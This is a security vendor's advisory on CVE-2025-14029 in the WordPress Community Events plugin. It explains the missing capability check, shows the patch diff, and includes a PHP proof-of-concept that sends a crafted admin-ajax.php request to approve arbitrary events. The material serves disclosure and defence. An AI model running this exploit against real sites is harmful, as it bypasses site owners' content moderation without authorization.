Atomic Edge analysis of CVE-2025-14029:
This vulnerability is a Missing Authorization flaw in the WordPress Community Events plugin. The flaw allows unauthenticated attackers to approve arbitrary events, leading to unauthorized data modification. The CVSS score of 5.3 reflects a medium-severity impact.
The root cause is the missing capability check in the `ajax_admin_event_approval()` function within `/community-events/community-events.php`. The function handled AJAX requests for event approval but only verified a nonce. The vulnerable code at line 161 performed `if ( !wp_verify_nonce( $_GET[‘event_approval_nonce’], ‘event_approval_nonce’ ) )`. This check alone is insufficient for authorization, as nonces are not a security measure against unauthorized access.
An attacker exploits this by sending a crafted GET request to `/wp-admin/admin-ajax.php`. The request must set the `action` parameter to `admin_event_approval` to trigger the vulnerable function. The attacker also supplies an `eventlist` parameter containing the IDs of events to approve and a valid `event_approval_nonce` parameter. Since nonces are often predictable or leakable in WordPress contexts, an attacker can obtain one, for example, from a public page where the plugin’s admin interface is loaded.
The patch adds a capability check to the authorization logic. The code at line 161 now reads `if ( !current_user_can( ‘manage_options’ ) || !wp_verify_nonce( $_GET[‘event_approval_nonce’], ‘event_approval_nonce’ ) )`. This change ensures the function exits unless the requesting user has the `manage_options` capability, which is typically exclusive to administrators. The fix properly enforces authorization before performing the sensitive action.
Successful exploitation allows an unauthenticated attacker to approve any pending event submitted to the site. This can lead to the publication of unauthorized or malicious event listings, defacement of public event calendars, and a bypass of the intended content moderation workflow. The impact is unauthorized data modification and a compromise of editorial control.
--- a/community-events/community-events.php
+++ b/community-events/community-events.php
@@ -2,7 +2,7 @@
/*Plugin Name: Community Events
Plugin URI: https://ylefebvre.github.io/wordpress-plugins/community-events/
Description: A plugin used to manage events and display them in a widget
-Version: 1.5.6
+Version: 1.5.7
Author: Yannick Lefebvre
Author URI: https://ylefebvre.github.io
Copyright 2025 Yannick Lefebvre (email : ylefebvre@gmail.com)
@@ -161,7 +161,7 @@
global $wpdb;
$events = $_GET['eventlist'];
- if ( !wp_verify_nonce( $_GET['event_approval_nonce'], 'event_approval_nonce' ) ) {
+ if ( !current_user_can( 'manage_options' ) || !wp_verify_nonce( $_GET['event_approval_nonce'], 'event_approval_nonce' ) ) {
exit;
}
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14029 - Community Events <= 1.5.6 - Missing Authorization to Unauthenticated Arbitrary Event Approval via 'eventlist' Parameter
<?php
// Configuration
$target_url = 'http://vulnerable-wordpress-site.com';
// Step 1: Attempt to fetch a valid nonce from a public page where the Community Events admin interface might be loaded.
// This is a simulated step. In a real scenario, an attacker might scrape a nonce from an admin page accessible to them (e.g., if they have a subscriber account) or from a misconfigured public endpoint.
// For this PoC, we assume the attacker has somehow obtained a valid nonce. Replace 'YOUR_NONCE_HERE'.
$nonce = 'YOUR_NONCE_HERE';
// Step 2: Define the event ID(s) to approve. This can be a single ID or a comma-separated list.
$event_ids = '123,456';
// Step 3: Construct the exploit URL for the admin-ajax.php endpoint.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Step 4: Prepare the GET parameters.
$params = [
'action' => 'admin_event_approval', // This action hook triggers the vulnerable function.
'eventlist' => $event_ids, // The parameter containing target event IDs.
'event_approval_nonce' => $nonce // The nonce required by the function.
];
$query_string = http_build_query($params);
$full_url = $ajax_url . '?' . $query_string;
// Step 5: Execute the attack using cURL.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $full_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// The function exits on failure, so a successful exploit may return an empty response.
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Step 6: Output the result.
echo "Target: $target_urln";
echo "Request URL: $full_urln";
echo "HTTP Status: $http_coden";
echo "Response: " . htmlspecialchars($response) . "n";
if ($http_code == 200 && empty(trim($response))) {
echo "[+] Exploit likely succeeded. The target events may have been approved.n";
} else {
echo "[-] Exploit may have failed. Check the nonce and event IDs.n";
}
?>
